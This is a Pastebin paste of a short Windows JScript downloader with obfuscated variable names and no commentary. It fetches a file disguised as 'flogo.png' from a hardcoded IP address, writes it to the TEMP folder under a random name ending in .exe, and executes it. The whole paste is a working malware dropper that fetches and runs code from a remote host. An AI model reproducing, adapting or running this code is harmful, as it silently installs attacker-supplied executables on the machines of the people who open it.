Guest User

Untitled

a guest
Dec 4th, 2016
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var V = new ActiveXObject('WScript.Shell');
  2.  
  3. function ycNHj(oJ) {
  4.     var fe = '';
  5.     var af = '1234567890abcdef';
  6.     for (var y7 = 0; y7 < oJ; y7++) {
  7.         fe += af.charAt(Math.floor(Math.random() * af.length));
  8.     }
  9.     return fe;
  10. }
  11.  
  12. function fv(rwk, jK) {
  13.     try {
  14.         var _ = V.ExpandEnvironmentStrings('%TEMP%') + '\\' + ycNHj(32) + '.exe';
  15.         var n = new ActiveXObject('MSXML2.XMLHTTP');
  16.         n.onreadystatechange = function() {
  17.             if (n.readyState == 4 && n.status == 200) {
  18.                 var T9S5 = new ActiveXObject('ADODB.Stream');
  19.                 T9S5.Open();
  20.                 T9S5.Type = 1;
  21.                 T9S5.Write(n.ResponseBody);
  22.                 T9S5.Position = 0;
  23.                 T9S5.SaveToFile(_);
  24.                 T9S5.Close();
  25.             }
  26.         };
  27.         n.open('GET', rwk, false);
  28.         n.send();
  29.         return jK(_, null);
  30.     } catch (xVg) {
  31.         return jK(null, xVg);
  32.     }
  33. }
  34. fv('http://95.213.192.89/flogo.png', function(mPCA, kxc) {
  35.     if (!kxc) {
  36.         V.Run(mPCA);
  37.     }
  38. });
Add Comment
Please, Sign In to add comment